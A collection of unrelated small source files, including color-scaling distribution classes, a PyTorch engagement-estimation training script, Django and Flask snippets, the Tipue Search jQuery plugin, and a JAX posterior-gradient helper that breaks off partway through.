return 'power'
class SqrtDist(ColorDistBase):
"""
y = sqrt(x)
where x in (0..1)
"""
def __init__(self, hashsize, colorlen=None):
super(SqrtDist, self).__init__(hashsize, colorlen=colorlen)
def calc_hash(self):
base = numpy.arange(0.0, float(self.hashsize), 1.0) / self.hashsize
base = numpy.sqrt(base)
base = base.clip(0.0, 1.0)
# normalize to color range
l = base * (self.colorlen - 1)
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
def get_dist_pct(self, pct):
val_inv = pct ** 2.0
val = min(max(float(val_inv), 0.0), 1.0)
return val
def __str__(self):
return 'sqrt'
class SquaredDist(ColorDistBase):
"""
y = x ** 2
where x in (0..1)
"""
def __init__(self, hashsize, colorlen=None):
super(SquaredDist, self).__init__(hashsize, colorlen=colorlen)
def calc_hash(self):
base = numpy.arange(0.0, float(self.hashsize), 1.0) / self.hashsize
base = (base ** 2.0)
# normalize to color range
l = base * (self.colorlen - 1)
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
def get_dist_pct(self, pct):
val_inv = math.sqrt(pct)
val = min(max(float(val_inv), 0.0), 1.0)
return val
def __str__(self):
return 'squared'
class AsinhDist(ColorDistBase):
"""
y = asinh(nonlinearity * x) / factor
where x in (0..1)
"""
def __init__(self, hashsize, colorlen=None, factor=10.0,
nonlinearity=3.0):
self.factor = factor
self.nonlinearity = nonlinearity
super(AsinhDist, self).__init__(hashsize, colorlen=colorlen)
def calc_hash(self):
base = numpy.arange(0.0, float(self.hashsize), 1.0) / self.hashsize
base = numpy.arcsinh(self.factor * base) / self.nonlinearity
base = base.clip(0.0, 1.0)
# normalize to color range
l = base * (self.colorlen - 1)
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
def get_dist_pct(self, pct):
# calculate inverse of dist fn
val_inv = math.sinh(self.nonlinearity * pct) / self.factor
val = min(max(float(val_inv), 0.0), 1.0)
return val
def __str__(self):
return 'asinh'
class SinhDist(ColorDistBase):
"""
y = sinh(factor * x) / nonlinearity
where x in (0..1)
"""
def __init__(self, hashsize, colorlen=None, factor=3.0,
nonlinearity=10.0):
self.factor = factor
self.nonlinearity = nonlinearity
super(SinhDist, self).__init__(hashsize, colorlen=colorlen)
def calc_hash(self):
base = numpy.arange(0.0, float(self.hashsize), 1.0) / self.hashsize
base = numpy.sinh(self.factor * base) / self.nonlinearity
base = base.clip(0.0, 1.0)
# normalize to color range
l = base * (self.colorlen - 1)
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
def get_dist_pct(self, pct):
# calculate inverse of dist fn
val_inv = math.asinh(self.nonlinearity * pct) / self.factor
val = min(max(float(val_inv), 0.0), 1.0)
return val
def __str__(self):
return 'sinh'
class HistogramEqualizationDist(ColorDistBase):
"""
The histogram equalization distribution function distributes colors
based on the frequency of each data value.
"""
def __init__(self, hashsize, colorlen=None):
super(HistogramEqualizationDist, self).__init__(hashsize,
colorlen=colorlen)
def calc_hash(self):
pass
# TODO: this method has a lot more overhead compared to the other
# scaling methods because the hash array must be computed each time
# the data is delivered to hash_array()--in the other scaling
# methods it is precomputed in calc_hash(). Investigate whether
# there is a way to make this more efficient.
#
def hash_array(self, idx):
# NOTE: data could be assumed to be in the range 0..hashsize-1
# at this point but clip as a precaution
idx = idx.clip(0, self.hashsize - 1)
#get image histogram
hist, bins = numpy.histogram(idx.flatten(),
self.hashsize, density=False)
cdf = hist.cumsum()
# normalize to color range
l = (cdf - cdf.min()) * (self.colorlen - 1) / (
cdf.max() - cdf.min())
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
arr = self.hash[idx]
return arr
def get_dist_pct(self, pct):
# TODO: this is wrong but we need a way to invert the hash
return pct
def __str__(self):
return 'histeq'
distributions = {
'linear': LinearDist,
'log': LogDist,
'power': PowerDist,
'sqrt': SqrtDist,
'squared': SquaredDist,
'asinh': AsinhDist,
'sinh': SinhDist,
'histeq': HistogramEqualizationDist,
}
def add_dist(name, distClass):
global distributions
distributions[name.lower()] = distClass
def get_dist_names():
a_names = set(distributions.keys())
std_names = ['linear', 'log', 'power', 'sqrt', 'squared', 'asinh', 'sinh',
'histeq']
rest = a_names - set(std_names)
if len(rest) > 0:
std_names = std_names + list(rest)
return std_names
def get_dist(name):
if name not in distributions:
raise ColorDistError("Invalid distribution algorithm '%s'" % (name))
return distributions[name]
# END
|
from __future__ import division
import os
import sys
import random
import argparse
import time
from shutil import copyfile
import numpy as np
import scipy.io as sio
import matplotlib.pyplot as plt
from scipy.signal import medfilt
from scipy import stats
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import torch.utils.data
from torch.utils.data import DataLoader
from torch.autograd import Variable
from sklearn import svm, linear_model, neural_network, preprocessing
from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor
from sklearn.metrics import mean_squared_error, accuracy_score, f1_score, log_loss, make_scorer, confusion_matrix
from sklearn.model_selection import cross_val_score, GridSearchCV
from scipy.stats import itemfreq
#from mlens.metrics import make_scorer
#from mlens.model_selection import Evaluator
from scipy.stats import uniform, randint
from dataset_skeleton_ASD import EngagementDataset, load_dataset
from utils import suppress_stdout, EarlyStopping, plot_confusion_matrix, WeightedMSELoss, scores, save_cnf, save_vec
from net import MyNet, calc_gradients
def arg_parse():
parser = argparse.ArgumentParser(description='Engagement estimation with LSTM')
parser.add_argument("--seg_len", dest = "seg_len", help = "Segment length", default = 5, type = int)
parser.add_argument("--seg_overlap", dest = "seg_overlap", help = "Segment overlap", default = 0, type = int)
parser.add_argument("--seq_len", dest = "seq_len", help = "Number of segments per sequence", default = 30, type = int)
parser.add_argument("--median", dest = "median", help = "Median filter size", default = 5, type = int)
parser.add_argument("--hidden_size", dest = "hidden_size", help = "Hidden size", default = 560, type = int)
parser.add_argument("--initial_lr", dest = "initial_lr", help = "Initial learning rate", default = 0.1, type = float)
parser.add_argument("--decay", dest = "decay", help = "Weight decay", default = 1e-6, type = float)
parser.add_argument("--momentum", dest = "momentum", help = "Training momentum", default = 0.5, type = float)
parser.add_argument("--one_hot", dest = "one_hot", help = "Use cross entropy loss instead of MSE", default = 1, type = int)
parser.add_argument("--patience", dest = "patience", help = "Early stopping patience", default = 10, type = int)
parser.add_argument("--batch", dest = "batch_size", help = "Batch size", default = 16, type = int)
return parser.parse_args()
if __name__ == '__main__':
args = arg_parse()
seed = 41
np.random.seed(seed)
seg_len = args.seg_len
seg_overlap = args.seg_overlap
train_data_path = os.path.realpath('../TrainData')
test_data_path = os.path.realpath('../TrainDataASD')
sequence_length = args.seq_len #Number of segments per sequence
num_epochs = 500
batch_size = args.batch_size
median_filter_size = args.median
cuda = True
hidden_size = args.hidden_size
initial_lr = args.initial_lr
weight_decay = args.decay
momentum = args.momentum
patience = args.patience
num_classes = 3
num_files = len(os.listdir(test_data_path))
dataset_loader = load_dataset(train_data_path, test_data_path, seg_len, seg_overlap, sequence_length, 0.2, num_classes, cuda)
label_weights = next(dataset_loader)
one_hot_int = args.one_hot
one_hot = one_hot_int == 1
if one_hot:
loss_function = nn.CrossEntropyLoss(weight=torch.tensor(label_weights).float())
else:
loss_function = WeightedMSELoss(label_weights)
#loss_function = nn.MSELoss()
if cuda:
loss_function = loss_function.cuda()
output_dir = '../output_final_ASD/' + '_'.join(['{}' for x in [list(args.__dict__.values())+[time.time()]][0]])
output_dir = output_dir.format(*([list(args.__dict__.values())+[time.time()]][0]))
# os.mkdir(output_dir)
# os.mkdir(os.path.join(output_dir, 'each_fold'))
# copyfile('net.py', os.path.join(output_dir,'net.py'))
# copyfile('leave1out.py', os.path.join(output_dir,'leave1out.py'))
# copyfile('dataset_skeleton.py', os.path.join(output_dir,'dataset_skeleton.py'))
total_test_loss = 0
total_test_results = None
total_test_targets = None
test_results_dict = dict()
cv_index = 0
all_cnfs = []
loop_cnt = 0
for train_dataset, valid_dataset, test_dataset in dataset_loader:
train_generator = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)
valid_generator = DataLoader(valid_dataset, batch_size=batch_size, shuffle=True)
test_generator = DataLoader(test_dataset, batch_size=1, shuffle=False)
#print len(train_generator), len(valid_generator), len(test_generator)
if loop_cnt == 0:
loop_cnt += 1
model = MyNet(num_classes, 2*(58-12), sequence_length, hidden_size, one_hot, cuda)
if cuda:
model = model.cuda()
early_stopping = EarlyStopping(patience=patience)
early_stopping.save_weights(model)
optimizer = optim.SGD(model.parameters(), lr=0.02, momentum=momentum, weight_decay=weight_decay)
for stage in [0,1]:
print('Stage: {}'.format(stage))
model.change_net(stage)
if stage == 0:
lrs = [initial_lr, initial_lr/10]
else:
lrs = [initial_lr, initial_lr/10]
for lr in lrs:#, initial_lr/100]:
early_stopping.reset()
print(lr)
for param_group in optimizer.param_groups:
param_group['lr'] = lr
for epoch in range(num_epochs):
model.train()
for i, data in enumerate(train_generator):
input, targets = Variable(data['data']), Variable(data['target'])
model.zero_grad()
if input.size(0) == 1:
continue
output = model(input)
if one_hot:
loss = loss_function(output.transpose(1,2).view(-1,num_classes), (targets*(num_classes-1)+0.02).long().view(-1))
else:
loss = loss_function(output.squeeze(2)*(num_classes-1), targets*(num_classes-1))/((num_classes-1)**2)
loss.backward()
#calc_gradients(model.parameters())
model.grad_clip(0.1)
#print 'Train loss: ', loss
#print output.size(), targets.size()
optimizer.step()
model.eval()
total_valid_loss = 0
for i, data in enumerate(valid_generator):
input, targets = Variable(data['data']), Variable(data['target'])
output = model(input)
if one_hot:
loss = loss_function(output.transpose(1,2).view(-1,num_classes), (targets*(num_classes-1)+0.02).long().view(-1))
else:
loss = loss_function(output.squeeze(2)*(num_classes-1), targets*(num_classes-1))/((num_classes-1)**2)
total_valid_loss += loss.item()*input.shape[0]/len(valid_dataset)
print('Valid loss: ', total_valid_loss)
if early_stopping.step(total_valid_loss, model):
early_stopping.load_weights(model)
break
print('DONE')
exit()
test_loss = 0
test_results = None
test_targets = None
for i, data in enumerate(test_generator):
input, targets = Variable(data['data']), Variable(data['target'])
#plt.figure()
#print targets.size()
#plt.plot(input[0,0,:].squeeze().cpu().numpy())
#plt.show()
output = model(input)
if one_hot:
max_val, max_ind = output.max(1)
if test_results is None:
test_results = max_ind.data.cpu().numpy().transpose()
test_targets = (num_classes-1)*targets.data.cpu().numpy().transpose()
else:
test_results = np.append(test_results, max_ind.data.cpu().numpy())
test_targets = np.append(test_targets, (num_classes-1)*targets.data.cpu().numpy())
loss = loss_function(output.transpose(1,2).view(-1,num_classes), (targets*(num_classes-1)+0.02).long().view(-1))
else:
if test_results is None:
test_results = (num_classes-1)*output.data.cpu().numpy().transpose()
test_targets = (num_classes-1)*targets.data.cpu().numpy().transpose()
else:
test_results = np.append(test_results, (num_classes-1)*output.data.cpu().numpy())
test_targets = np.append(test_targets, (num_classes-1)*targets.data.cpu().numpy())
#test_results.append(3*output.data.cpu().numpy()[0,0])
#test_targets.append(3*targets.data.cpu().numpy()[0,0])
loss = loss_function(output.squeeze(2)*(num_classes-1), targets*(num_classes-1))
test_loss += loss.item()*input.shape[0]/len(test_dataset)
#print 'Test loss: ', test_loss, mean_squared_error(medfilt(np.round(np.array(test_results)), median_filter_size), np.round(np.array(test_targets))), len(test_dataset)
#test_results_dict[(os.listdir(data_path)[0:3]+os.listdir(data_path)[4:13]+os.listdir(data_path)[14:])[cv_index]] = test_loss
test_results_dict[os.listdir(test_data_path)[cv_index]] = test_loss
total_test_loss += mean_squared_error(np.round(np.array(test_targets)), medfilt(np.round(np.array(test_results)), median_filter_size))/num_files
test_results = medfilt(np.round(np.array(test_results)), median_filter_size)
test_targets = np.round(np.array(test_targets))
cnf = confusion_matrix(test_targets, test_results)
save_cnf(cnf, os.path.join(output_dir, 'each_fold', 'cfn{}.txt'.format(cv_index)))
save_vec(test_targets, os.path.join(output_dir,'each_fold','targets{}.txt'.format(cv_index)))
save_vec(test_results, os.path.join(output_dir,'each_fold','results{}.txt'.format(cv_index)))
if total_test_results is None:
total_test_results = test_results
total_test_targets = test_targets
else:
total_test_results = np.append(total_test_results, test_results, axis=0)
total_test_targets = np.append(total_test_targets, test_targets, axis=0)
test_results = stats.mode(np.reshape(test_results, (-1, int(30/seg_len))), axis=1)[0]
test_targets = stats.mode(np.reshape(test_targets, (-1, int(30/seg_len))), axis=1)[0]
cnf = confusion_matrix(test_targets, test_results)
save_cnf(cnf, os.path.join(output_dir, 'each_fold', 'cfn{}_1sec.txt'.format(cv_index)))
save_vec(test_targets, os.path.join(output_dir,'each_fold','targets{}_1sec.txt'.format(cv_index)))
save_vec(test_results, os.path.join(output_dir,'each_fold','results{}_1sec.txt'.format(cv_index)))
cv_index += 1
#total_test_loss += test_loss/num_files
#print total_test_targets, np.unique(total_test_targets)
#print total_test_results, np.unique(total_test_results)
total_test_results = np.clip(total_test_results, 0, (num_classes-1))
#print total_test_loss, mean_squared_error(total_test_targets, total_test_results), f1_score(total_test_targets.astype(int), total_test_results.astype(int), average=None)
#print itemfreq(total_test_targets).astype(int)
# Compute confusion matrix
cnf_matrix = confusion_matrix(total_test_targets, total_test_results)
cnf_norm = cnf_matrix.astype('float') / cnf_matrix.sum(axis=1)[:, np.newaxis]
save_cnf(cnf_matrix, os.path.join(output_dir,'cnf.txt'))
save_cnf(cnf_norm, os.path.join(output_dir,'cnf_norm.txt'))
print(cnf_matrix)
#print cnf_norm
#print np.mean(np.diag(cnf_matrix)/np.sum(cnf_matrix, axis=0))
#print f1_score(total_test_targets.astype(int), total_test_results.astype(int), average=None), np.mean(f1_score(total_test_targets.astype(int), total_test_results.astype(int), average=None))
#with open(os.path.join(output_dir,'.txt'),'w') as output_file:
save_vec(total_test_targets, os.path.join(output_dir,'targets_full.txt'))
save_vec(total_test_results, os.path.join(output_dir,'results_full.txt'))
total_test_results = stats.mode(np.reshape(total_test_results, (-1, int(30/seg_len))), axis=1)[0]
total_test_targets = stats.mode(np.reshape(total_test_targets, (-1, int(30/seg_len))), axis=1)[0]
cnf_matrix = confusion_matrix(total_test_targets, total_test_results)
print(cnf_matrix)
save_cnf(cnf_matrix, os.path.join(output_dir,'cnf_1sec.txt'))
save_vec(total_test_targets, os.path.join(output_dir,'targets_1sec.txt'))
save_vec(total_test_results, os.path.join(output_dir,'results_1sec.txt'))
#print f1_score(total_test_targets.astype(int), total_test_results.astype(int), average=None), np.mean(f1_score(total_test_targets.astype(int), total_test_results.astype(int), average=None))
#print test_results_dict
print(scores(cnf_matrix.astype(np.float))['b_accuracy'])
#np.set_printoptions(precision=2)
# Plot non-normalized confusion matrix
#plt.figure()
#plot_confusion_matrix(cnf_matrix, classes=['0','1','2','3'],
# title='Confusion matrix, without normalization')
# Plot normalized confusion matrix
#plt.figure()
#plot_confusion_matrix(cnf_matrix, classes=['0','1','2','3'], normalize=True,
# title='Normalized confusion matrix')
#plt.figure()
#t = np.arange(0,total_test_results.shape[0],1)
#plt.plot(t,total_test_results+0.1,'r',t,total_test_targets,'b')
#plt.figure()
#print input.size()
#plt.plot(np.arange(input.size(2)),input[0,0,:].squeeze().cpu().numpy())
#plt.show()
|
from setuptools import find_packages, setup
setup(
name='src',
packages=find_packages(),
version='0.1.0',
description='PD test',
author='Rodrigo Carneiro',
license='MIT',
)
|
import uuid
from django.db import models
from simple_history.models import HistoricalRecords
class BaseModel(models.Model):
id = models.UUIDField(
primary_key=True,
default=uuid.uuid4,
editable=False)
history = HistoricalRecords()
class Meta:
abstract = True
class Status(BaseModel):
name = models.CharField('Status', max_length=50)
class Meta:
abstract = True
def __str__(self):
return self.name
|
'''
Created on Dec 22, 2020
@author: mballance
'''
import os.path
def init_project(args):
force = args.force
name = args.name
package = args.package
if os.path.isfile("requirements.txt") and not force:
raise Exception("requirements.txt exists")
with open("requirements.txt", "w") as fp:
fp.write(
"""
cocotb
pybfms
""")
if os.path.isfile("setup.py") and not force:
raise Exception("setup.py exists")
with open("setup.py", "w") as fp:
fp.write(
"""
import os
import sys, os.path, platform, warnings
from distutils import log
from distutils.core import setup, Command
VERSION = "0.0.1"
AUTHOR = "Author TBD"
AUTOR_EMAIL = "Author Email TBD"
DESCRIPTION = "Description TBD"
LICENSE = "Apache 2.0"
URL = "https://github.com/TBD"
if os.path.exists("etc/ivpm.info"):
with open("etc/ivpm.info") as fp:
for line in fp:
if line.find("version=") != -1:
VERSION = line[line.find("=")+1:].strip()
break
if VERSION is None:
raise Exception("Error: null version")
if "BUILD_NUM" in os.environ:
VERSION += "." + os.environ["BUILD_NUM"]
try:
from wheel.bdist_wheel import bdist_wheel
except ImportError:
bdist_wheel = None
cmdclass = {
}
if bdist_wheel:
cmdclass['bdist_wheel'] = bdist_wheel
setup(
name = "%s",
version=VERSION,
packages=['%s'],
package_dir = {'' : 'src'},
package_data = {'%s': ['hdl/*.v']},
author = AUTHOR,
author_email = AUTHOR_EMAIL,
description = DESCRIPTION,
license = LICENSE,
keywords = ["SystemVerilog", "Verilog", "RTL", "cocotb"],
url = URL,
setup_requires=[
'setuptools_scm',
],
cmdclass=cmdclass,
install_requires=[
'cocotb',
'pybfms'
],
)
""" % (name, package, package))
os.makedirs(os.path.join("src", package), exist_ok=True)
if os.path.exists(os.path.join("src", package, "__init__.py")):
raise Exception("Package already exists")
with open(os.path.join("src", package, "__init__.py"), "w") as fp:
fp.write("# TODO: import BFMs here\n")
pass
|
valor_investido = float(input("Digite o valor Investido: "))
cliques = 0.0
pessoas = 0
compartilhamento = 0.0
# Este ponto aqui para o primeiro desafio não coloquei pq acho que não precisa
# Para cada 100 pessoas que visualizam o anúncio 12 clicam nele.
cliques = 100 / 12
# //a cada 20 pessoas que clicam no anúncio 3 compartilham nas redes sociais
compartilhamento = (20 * cliques) * 3
# cada compartilhamento nas redes sociais gera 40 novas visualizações.
# o mesmo anúncio é compartilhado no máximo 4 vezes em sequência
visualizacoes_compartilhada = (compartilhamento * 40) / 4
# 30 pessoas visualizam o anúncio original (não compartilhado) a cada R$ 1,00 investido.
visualizacoes_original = valor_investido * 30
print('Para o valor Investido de R$ {}, anúncio original irá alcançar {} Pessoas'.format(
valor_investido, visualizacoes_original))
print('Para o valor Investido de R$ {}, o anúncio compartilhado irá alcançar {:.2f} Pessoas'.format(
valor_investido, visualizacoes_compartilhada))
|
import webapp2
import handlers.wiki as wiki
PAGE_RE = r'(/(?:[a-zA-Z0-9_-]+/?)*)'
app = webapp2.WSGIApplication([
('/signup', wiki.SignupHandler),
('/login', wiki.LoginHandler),
('/logout', wiki.LogoutHandler),
('/_edit' + PAGE_RE, wiki.EditPageHandler),
('/_history' + PAGE_RE, wiki.HistoryPageHandler),
(PAGE_RE, wiki.WikiPageHandler)
], debug=True)
|
from user.models import UserModel
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import status
from common.decarators import validator
from serializers.request_serializers import CheckUsernameParameterSerialzier
from drf_yasg.utils import swagger_auto_schema
from common.common_funtions import generate_200_base_response
# Create your views here.
RESPONSE = generate_200_base_response()
@swagger_auto_schema(tags=['User'], operation_description="Check Username is exist or not", method="GET", query_serializer=CheckUsernameParameterSerialzier, responses=RESPONSE)
@api_view(["GET"])
@validator(validator=CheckUsernameParameterSerialzier)
def check_username(request, serializer):
username = serializer.data.get("username")
try:
UserModel.objects.get(username=username)
except UserModel.DoesNotExist:
return Response(status=status.HTTP_200_OK)
return Response(status=status.HTTP_400_BAD_REQUEST)
|
#!/usr/bin/env python
# coding: utf-8
# In[3]:
print('single division operator 10/3 =',10/3)
print('double division operator 10//3 =',10//3)
# In[ ]:
|
export { default as default } from './InfiniteLoading.svelte';
|
#!/usr/bin/env python
# encoding: utf-8
#
# Copyright (c) 2008 Doug Hellmann All rights reserved.
#
"""
$Id$
"""
#end_pymotw_header
import contextlib
@contextlib.contextmanager
def make_context(name):
print 'entering:', name
yield name
print 'exiting :', name
with contextlib.nested(make_context('A'),
make_context('B')) as (A, B):
print 'inside with statement:', A, B
|
import styled from '@emotion/styled'
import { Flex } from 'rebass'
export const Container = styled(Flex)`
border-bottom: solid 1px ${({ theme }) => theme.colors.border};
`
|
/*
Tipue Search 3.1
Copyright (c) 2013 Tipue
Tipue Search is released under the MIT License
http://www.tipue.com/search
*/
(function($) {
$.fn.tipuesearch = function(options) {
var set = $.extend( {
'show' : 10,
'newWindow' : false,
'showURL' : true,
'minimumLength' : 1,
'descriptiveWords' : 25,
'highlightTerms' : true,
'highlightEveryTerm' : false,
'mode' : 'static',
'liveDescription' : '*',
'liveContent' : '*',
'contentLocation' : 'tipuesearch/tipuesearch_content.json'
}, options);
return this.each(function() {
var tipuesearch_in = {
pages: []
};
$.ajaxSetup({
async: false
});
if (set.mode == 'live')
{
for (var i = 0; i < tipuesearch_pages.length; i++)
{
$.get(tipuesearch_pages[i], '',
function (html)
{
var cont = $(set.liveContent, html).text();
cont = cont.replace(/\s+/g, ' ');
var desc = $(set.liveDescription, html).text();
desc = desc.replace(/\s+/g, ' ');
var t_1 = html.toLowerCase().indexOf('<title>');
var t_2 = html.toLowerCase().indexOf('</title>', t_1 + 7);
if (t_1 != -1 && t_2 != -1)
{
var tit = html.slice(t_1 + 7, t_2);
}
else
{
var tit = 'No title';
}
tipuesearch_in.pages.push({
"title": tit,
"text": desc,
"tags": cont,
"loc": tipuesearch_pages[i]
});
}
);
}
}
if (set.mode == 'json')
{
$.getJSON(set.contentLocation,
function(json)
{
tipuesearch_in = $.extend({}, json);
}
);
}
if (set.mode == 'static')
{
tipuesearch_in = $.extend({}, tipuesearch);
}
var tipue_search_w = '';
if (set.newWindow)
{
tipue_search_w = ' target="_blank"';
}
function getURLP(name)
{
return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,""])[1].replace(/\+/g, '%20')) || null;
}
if (getURLP('q'))
{
$('#tipue_search_input').val(getURLP('q'));
getTipueSearch(0, true);
}
$('#tipue_search_button').click(function()
{
getTipueSearch(0, true);
});
$(this).keyup(function(event)
{
if(event.keyCode == '13')
{
getTipueSearch(0, true);
}
});
function getTipueSearch(start, replace)
{
$('#tipue_search_content').hide();
var out = '';
var results = '';
var show_replace = false;
var show_stop = false;
var d = $('#tipue_search_input').val().toLowerCase();
d = $.trim(d);
var d_w = d.split(' ');
d = '';
for (var i = 0; i < d_w.length; i++)
{
var a_w = true;
for (var f = 0; f < tipuesearch_stop_words.length; f++)
{
if (d_w[i] == tipuesearch_stop_words[f])
{
a_w = false;
show_stop = true;
}
}
if (a_w)
{
d = d + ' ' + d_w[i];
}
}
d = $.trim(d);
d_w = d.split(' ');
if (d.length >= set.minimumLength)
{
if (replace)
{
var d_r = d;
for (var i = 0; i < d_w.length; i++)
{
for (var f = 0; f < tipuesearch_replace.words.length; f++)
{
if (d_w[i] == tipuesearch_replace.words[f].word)
{
d = d.replace(d_w[i], tipuesearch_replace.words[f].replace_with);
show_replace = true;
}
}
}
d_w = d.split(' ');
}
var d_t = d;
for (var i = 0; i < d_w.length; i++)
{
for (var f = 0; f < tipuesearch_stem.words.length; f++)
{
if (d_w[i] == tipuesearch_stem.words[f].word)
{
d_t = d_t + ' ' + tipuesearch_stem.words[f].stem;
}
}
}
d_w = d_t.split(' ');
var c = 0;
found = new Array();
for (var i = 0; i < tipuesearch_in.pages.length; i++)
{
var score = 1000000000;
var s_t = tipuesearch_in.pages[i].text;
for (var f = 0; f < d_w.length; f++)
{
var pat = new RegExp(d_w[f], 'i');
if (tipuesearch_in.pages[i].title.search(pat) != -1)
{
score -= (200000 - i);
}
if (tipuesearch_in.pages[i].text.search(pat) != -1)
{
score -= (150000 - i);
}
if (set.highlightTerms)
{
if (set.highlightEveryTerm)
{
var patr = new RegExp('(' + d_w[f] + ')', 'gi');
}
else
{
var patr = new RegExp('(' + d_w[f] + ')', 'i');
}
s_t = s_t.replace(patr, "<b>$1</b>");
}
if (tipuesearch_in.pages[i].tags.search(pat) != -1)
{
score -= (100000 - i);
}
}
if (score < 1000000000)
{
found[c++] = score + '^' + tipuesearch_in.pages[i].title + '^' + s_t + '^' + tipuesearch_in.pages[i].loc;
}
}
if (c != 0)
{
if (show_replace == 1)
{
out += '<div id="tipue_search_warning_head">Exibindo resultados para ' + d + '</div>';
out += '<div id="tipue_search_warning">Procurar por <a href="javascript:void(0)" id="tipue_search_replaced">' + d_r + '</a></div>';
}
if (c == 1)
{
out += '<div id="tipue_search_results_count">1 resultado</div>';
}
else
{
c_c = c.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",");
out += '<div class="count" id="tipue_search_results_count">' + c_c + ' Resultados</div>';
}
found.sort();
var l_o = 0;
for (var i = 0; i < found.length; i++)
{
var fo = found[i].split('^');
if (l_o >= start && l_o < set.show + start)
{
out += '<div class="tipue_search_content_title"><a href="' + fo[3] + '"' + tipue_search_w + '>' + fo[1] + '</a></div>';
var t = fo[2];
var t_d = '';
var t_w = t.split(' ');
if (t_w.length < set.descriptiveWords)
{
t_d = t;
}
else
{
for (var f = 0; f < set.descriptiveWords; f++)
{
t_d += t_w[f] + ' ';
}
}
t_d = $.trim(t_d);
if (t_d.charAt(t_d.length - 1) != '.')
{
t_d += ' ...';
}
out += '<div class="tipue_search_content_text">' + t_d + '</div>';
if (set.showURL)
{
out += '<div class="tipue_search_content_loc"><a href="' + fo[3] + '"' + tipue_search_w + '>' + fo[3] + '</a></div>';
}
}
l_o++;
}
if (c > set.show)
{
var pages = Math.ceil(c / set.show);
var page = (start / set.show);
out += '<div id="tipue_search_foot"><ul id="tipue_search_foot_boxes">';
if (start > 0)
{
out += '<li><a href="javascript:void(0)" class="tipue_search_foot_box" id="' + (start - set.show) + '_' + replace + '">« Anterior</a></li>';
}
if (page <= 2)
{
var p_b = pages;
if (pages > 3)
{
p_b = 3;
}
for (var f = 0; f < p_b; f++)
{
if (f == page)
{
out += '<li class="current">' + (f + 1) + '</li>';
}
else
{
out += '<li><a href="javascript:void(0)" class="tipue_search_foot_box" id="' + (f * set.show) + '_' + replace + '">' + (f + 1) + '</a></li>';
}
}
}
else
{
var p_b = pages + 2;
if (p_b > pages)
{
p_b = pages;
}
for (var f = page; f < p_b; f++)
{
if (f == page)
{
out += '<li class="current">' + (f + 1) + '</li>';
}
else
{
out += '<li><a href="javascript:void(0)" class="tipue_search_foot_box" id="' + (f * set.show) + '_' + replace + '">' + (f + 1) + '</a></li>';
}
}
}
if (page + 1 != pages)
{
out += '<li><a href="javascript:void(0)" class="tipue_search_foot_box" id="' + (start + set.show) + '_' + replace + '">Próximo »</a></li>';
}
out += '</ul></div>';
}
}
else
{
out += '<div id="tipue_search_warning_head">Nada encontrado</div>';
}
}
else
{
if (show_stop)
{
out += '<div id="tipue_search_warning_head">Nada encontrado</div><div id="tipue_search_warning">Palavras comuns são ignoradas</div>';
}
else
{
out += '<div id="tipue_search_warning_head">Pesquisa muita curta</div>';
if (set.minimumLength == 1)
{
out += '<div id="tipue_search_warning">Deverá ter um caractere ou mais</div>';
}
else
{
out += '<div id="tipue_search_warning">Deverá ter ' + set.minimumLength + ' caracteres ou mais</div>';
}
}
}
$('#tipue_search_content').html(out);
$('#tipue_search_content').slideDown(200);
$('#tipue_search_replaced').click(function()
{
getTipueSearch(0, false);
});
$('.tipue_search_foot_box').click(function()
{
var id_v = $(this).attr('id');
var id_a = id_v.split('_');
getTipueSearch(parseInt(id_a[0]), id_a[1]);
});
}
});
};
})(jQuery);
|
from flask import Flask,request,render_template,url_for,session,redirect
app = Flask(__name__)
app.secret_key = "secret"
@app.route('/',methods = ["GET","POST"])
def store():
if request.method == 'GET':
return render_template('store1.html')
if request.method == 'POST':
for item in ['eggs','milk','bread']:
if item not in session:
session[item] = int(request.form[item])
else:
session[item] += int(request.form[item])
return redirect(url_for('cart'))
@app.route('/cart',methods = ['GET','POST'])
def cart():
cart = []
for item in ['eggs','milk','bread']:
cart.append({"name":item,"quantity":session[item]})
return render_template("cart1.html",cart = cart)
if __name__ == ('__main__'):
app.run(debug = True)
|
module.exports = {
hello: function(name) {
console.log("Hello, " + name);
},
bye: function(name) {
console.log("Goodbye, " + name);
}
};
|
typedef unsigned int uint;
typedef unsigned short ushort;
typedef unsigned char uchar;
typedef uint pde_t;
typedef struct{
volatile uint locked;
} sploc; // spinlock
#define MAXTHREADN 100
typedef struct{
volatile uint is_available[MAXTHREADN];
} arrloc;
typedef struct{
volatile unsigned long seq;
volatile uint locked;
} seqloc;
|
function Person(name) {
this.name = name;
this.getName = function getPersonName() {
return this.name;
}
}
var p = new Person('Peter');
// console.log(p.getPersonName());
// console.log(p.name);
console.log(p.name);
console.log(p.getName());
var p2 = Person('Peter2');
console.log(name);
console.log(getName());
|
#conventions non yet implemented
#_______________________________
# ClassName
# method_name
# ExceptionName
#instance_var_name
CALL_STRING = "call" + " "
FUNC_STRING = "function" + " "
func_name = ""
def set_func_name(value):
global func_name
func_name = value
def print_call():
global func_name
print(CALL_STRING + func_name)
def print_func():
global func_name
print(FUNC_STRING + func_name)
def test_Function():
print_func()
out_str = "Test: Ok"
print(out_str)
|
from typing import Any, Callable, Iterable, Tuple, Union
import jax.numpy as jnp
from jax import grad, jit, lax, value_and_grad, vmap
from jax.experimental import host_callback
from tqdm.auto import tqdm
def build_grad_log_post(
loglikelihood: Callable, logprior: Callable, data: Tuple, with_val: bool = False
) -> Callable:
"""Build the gradient of the log-posterior.
The returned function has signature:
grad_lost_post (Callable)
Args:
param (Pytree): parameters to evaluate the log-posterior at
args: data (either minibatch or fullbatch) to pass in to the log-likelihood
Returns:
gradient of the log-posterior (PyTree), and optionally the value of the log-posterior (float)
Args:
loglikelihood (Callable): log-likelihood for a single data point
logprior (Callable): log-prior for a single data point
data (Tuple): tuple of data. It should either have a single array (for unsupervised problems) or have two arrays (for supervised problems)
with_val (bool, optional): Whether or not the returned function also inclues the value of the log-posterior as well as the value of the gradient. Defaults to False.
Raises:
